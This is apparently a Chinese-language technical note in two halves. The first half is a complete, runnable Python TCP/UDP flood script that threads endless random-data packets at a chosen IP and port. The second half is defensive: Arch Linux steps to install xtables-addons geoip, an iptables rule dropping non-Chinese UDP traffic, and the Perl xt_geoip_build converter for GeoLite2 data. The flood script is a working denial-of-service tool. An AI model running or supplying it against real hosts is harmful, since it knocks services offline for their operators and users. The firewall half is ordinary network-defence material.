一、发包
#!/usr/bin/env python3
#Code by zeno
import argparse
import random
import socket
import threading
ap = argparse.ArgumentParser()
ap.add_argument("-i", "--ip", required=True, type=str, help="Host ip")
ap.add_argument("-p", "--port", required=True, type=int, help="Port")
ap.add_argument("-c", "--choice", type=str, default="y", help="UDP(y/n)")
ap.add_argument("-t", "--times", type=int, default=50000, help="Packets per one connection")
ap.add_argument("-th", "--threads", type=int, default=5, help="Threads")
args = vars(ap.parse_args())
print("--> C0de By zeno <--")
print("#-- TCP/UDP FLOOD --#")
ip = args['ip']
port = args['port']
choice = args['choice']
times = args['times']
threads = args['threads']
def run():
data = random._urandom(1024)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
addr = (str(ip),int(port))
for x in range(times):
s.sendto(data,addr)
print(i +" Sent!!!")
except:
print("[!] Error!!!")
def run2():
data = random._urandom(16)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(data)
for x in range(times):
s.send(data)
print(i +" Sent!!!")
except:
s.close()
print("[*] Error")
for y in range(threads):
if choice == 'y':
th = threading.Thread(target = run)
th.start()
else:
th = threading.Thread(target = run2)
th.start()
二、防御
安装依赖组件
pacman -S linux-headers perl-net-cidr-lite
pacman -U perl-text-csv-xs-1.53-1-x86_64.pkg.tar.zst xtables-addons-dkms-3.25-1-x86_64.pkg.tar.zst
创建目录
mkdir /usr/share/xt_geoip
下载数据文件,并且处理格式
mkdir /tmp/xt_geoip_dl
cd /tmp/xt_geoip_dl
/usr/lib/xtables/xtables-addons/xt_geoip_dl
/usr/lib/xtables/xtables-addons/xt_geoip_build -D /usr/share/xt_geoip *.csv
过滤非中国的IP的UDP
iptables -I INPUT -p udp -m geoip ! --src-cc CN -j DROP
查看帮助
iptables -m geoip -h
更新数据文件,默认的数据库太老了,使用进行更新
#!/usr/bin/perl
#
# Converter for MaxMind (GeoLite2) CSV database to binary, for xt_geoip
# Copyright Jan Engelhardt, 2008-2011
# Copyright Philip Prindeville, 2018
#
use Getopt::Long;
use Net::CIDR::Lite;
use Socket qw(AF_INET AF_INET6 inet_pton);
use warnings;
use Text::CSV_XS; # or trade for Text::CSV
use strict;
my $csv = Text::CSV_XS->new({
allow_whitespace => 1,
binary => 1,
eol => $/,
}); # or Text::CSV
my $source_dir = ".";
my $quiet = 0;
my $target_dir = ".";
&Getopt::Long::Configure(qw(bundling));
&GetOptions(
"D=s" => \$target_dir,
"S=s" => \$source_dir,
"q" => \$quiet,
"s" => sub { $target_dir = "/usr/share/xt_geoip"; },
);
if (!-d $source_dir) {
print STDERR "Source directory \"$source_dir\" does not exist.\n";
exit 1;
}
if (!-d $target_dir) {
print STDERR "Target directory \"$target_dir\" does not exist.\n";
exit 1;
}
foreach (qw(LE BE)) {
my $dir = "$target_dir/$_";
if (!-e $dir && !mkdir($dir)) {
print STDERR "Could not mkdir $dir: $!\n";
exit 1;
}
}
my %countryId;
my %countryName;
&loadCountries();
&dump(&collect());
sub loadCountries
{
sub id; sub cc; sub long; sub ct; sub cn;
%countryId = ();
%countryName = ();
my $file = "$source_dir/GeoLite2-Country-Locations-en.csv";
print $file;
open(my $fh, '<', $file) || die "Couldn't open list country names\n";
# first line is headers
my $row = $csv->getline($fh);
my %header = map { ($row->[$_], $_); } (0..$#{$row});
my %pairs = (
country_iso_code => 'ISO Country Code',
geoname_id => 'ID',
country_name => 'Country Name',
continent_code => 'Continent Code',
continent_name => 'Continent Name',
);
# verify that the columns we need are present
map { die "Table has no $pairs{$_} column\n" unless (exists $header{$_}); } keys %pairs;
my %remapping = (
id => 'geoname_id',
cc => 'country_iso_code',
long => 'country_name',
ct => 'continent_code',
cn => 'continent_name',
);
# now create a function which returns the value of that column #
map { eval "sub $_ () { \$header{\$remapping{$_}}; }" ; } keys %remapping;
while (my $row = $csv->getline($fh)) {
if ($row->[cc] eq '' && $row->[long] eq '') {
$countryId{$row->[id]} = $row->[ct];
$countryName{$row->[ct]} = $row->[cn];
} else {
$countryId{$row->[id]} = $row->[cc];
$countryName{$row->[cc]} = $row->[long];
}
}
$countryName{A1} = 'Anonymous Proxy';
$countryName{A2} = 'Satellite Provider';
$countryName{O1} = 'Other Country';
close($fh);
# clean up the namespace
undef &id; undef &cc; undef &long; undef &ct; undef &cn;
}
sub lookupCountry
{
my ($id, $rid, $proxy, $sat) = @_;
if ($proxy) {
return 'A1';
} elsif ($sat) {
return 'A2';
}
$id ||= $rid;
if ($id eq '') {
return 'O1';
}
die "Unknown id: $id line $.\n" unless (exists $countryId{$id});
return $countryId{$id};
}
sub collect
{
my ($file, $fh, $row);
my (%country, %header);
sub net; sub id; sub rid; sub proxy; sub sat;
my %pairs = (
network => 'Network',
registered_country_geoname_id => 'Registered Country ID',
geoname_id => 'Country ID',
is_anonymous_proxy => 'Anonymous Proxy',
is_satellite_provider => 'Satellite',
);
foreach (sort keys %countryName) {
$country{$_} = {
name => $countryName{$_},
pool_v4 => Net::CIDR::Lite->new(),
pool_v6 => Net::CIDR::Lite->new(),
};
}
$file = "$source_dir/GeoLite2-Country-Blocks-IPv4.csv";
open($fh, '<', $file) || die "Can't open IPv4 database\n";
# first line is headers
$row = $csv->getline($fh);
%header = map { ($row->[$_], $_); } (0..$#{$row});
# verify that the columns we need are present
map { die "Table has no %pairs{$_} column\n" unless (exists $header{$_}); } keys %pairs;
my %remapping = (
net => 'network',
id => 'geoname_id',
rid => 'registered_country_geoname_id',
proxy => 'is_anonymous_proxy',
sat => 'is_satellite_provider',
);
# now create a function which returns the value of that column #
map { eval "sub $_ () { \$header{\$remapping{$_}}; }" ; } keys %remapping;
while ($row = $csv->getline($fh)) {
my ($cc, $cidr);
$cc = lookupCountry($row->[id], $row->[rid], $row->[proxy], $row->[sat]);
$cidr = $row->[net];
$country{$cc}->{pool_v4}->add($cidr);
if ($. % 4096 == 0) {
print STDERR "\r\e[2K$. entries";
}
}
print STDERR "\r\e[2K$. entries total\n";
close($fh);
# clean up the namespace
undef &net; undef &id; undef &rid; undef &proxy; undef &sat;
$file = "$source_dir/GeoLite2-Country-Blocks-IPv6.csv";
open($fh, '<', $file) || die "Can't open IPv6 database\n";
# first line is headers
$row = $csv->getline($fh);
%header = map { ($row->[$_], $_); } (0..$#{$row});
# verify that the columns we need are present
map { die "Table has no %pairs{$_} column\n" unless (exists $header{$_}); } keys %pairs;
# unlikely the IPv6 table has different columns, but just to be sure
# create a function which returns the value of that column #
map { eval "sub $_ () { \$header{\$remapping{$_}}; }" ; } keys %remapping;
while ($row = $csv->getline($fh)) {
my ($cc, $cidr);
$cc = lookupCountry($row->[id], $row->[rid], $row->[proxy], $row->[sat]);
$cidr = $row->[net];
$country{$cc}->{pool_v6}->add($cidr);
if (!$quiet && $. % 4096 == 0) {
print STDERR "\r\e[2K$. entries";
}
}
print STDERR "\r\e[2K$. entries total\n" unless ($quiet);
close($fh);
# clean up the namespace
undef &net; undef &id; undef &rid; undef &proxy; undef &sat;
return \%country;
}
sub dump
{
my $country = shift @_;
foreach my $iso_code (sort keys %{$country}) {
&dump_one($iso_code, $country->{$iso_code});
}
}
sub dump_one
{
my($iso_code, $country) = @_;
my($file, $fh_le, $fh_be);
printf "%5u IPv6 ranges for %s %s\n",
scalar(@{$country->{pool_v6}->list_range()}),
$iso_code, $country->{name};
$file = "$target_dir/LE/".uc($iso_code).".iv6";
if (!open($fh_le, "> $file")) {
print STDERR "Error opening $file: $!\n";
exit 1;
}
$file = "$target_dir/BE/".uc($iso_code).".iv6";
if (!open($fh_be, "> $file")) {
print STDERR "Error opening $file: $!\n";
exit 1;
}
foreach my $range (@{$country->{pool_v6}->list_range()}) {
my ($start, $end) = split('-', $range);
print $fh_be &ip6_pack($start), &ip6_pack($end);
print $fh_le &ip6_swap($start), &ip6_swap($end);
}
close $fh_le;
close $fh_be;
printf "%5u IPv4 ranges for %s %s\n",
scalar(@{$country->{pool_v4}->list_range()}),
$iso_code, $country->{name};
$file = "$target_dir/LE/".uc($iso_code).".iv4";
if (!open($fh_le, "> $file")) {
print STDERR "Error opening $file: $!\n";
exit 1;
}
$file = "$target_dir/BE/".uc($iso_code).".iv4";
if (!open($fh_be, "> $file")) {
print STDERR "Error opening $file: $!\n";
exit 1;
}
my($sc1, $sc2, $sc3, $sc4);
my($start, $end);
foreach my $range (@{$country->{pool_v4}->list_range()}) {
($start, $end) = split('-', $range);
($sc1, $sc2, $sc3, $sc4) = split('\.', $start);
$start = $sc1 * 256**3 + $sc2 * 256**2 + $sc3 * 256 + $sc4;
($sc1, $sc2, $sc3, $sc4) = split('\.', $end);
$end = $sc1 * 256**3 + $sc2 * 256**2 + $sc3 * 256 + $sc4;
print $fh_le pack("VV", $start, $end);
print $fh_be pack("NN", $start, $end);
}
close $fh_le;
close $fh_be;
}
sub ip6_pack
{
my $addr = shift @_;
$addr =~ s{::}{:!:};
my @addr = split(/:/, $addr);
my @e = (0) x 8;
foreach (@addr) {
if ($_ eq "!") {
$_ = join(':', @e[0..(8-scalar(@addr))]);
}
}
@addr = split(/:/, join(':', @addr));
$_ = hex($_) foreach @addr;
return pack("n*", @addr);
}
sub ip6_swap
{
return pack("V*", unpack("N*", shift @_));
}
mkdir /usr/share/xt_geoip
./xt_geoip_build -D /usr/share/xt_geoip -S csv文件路径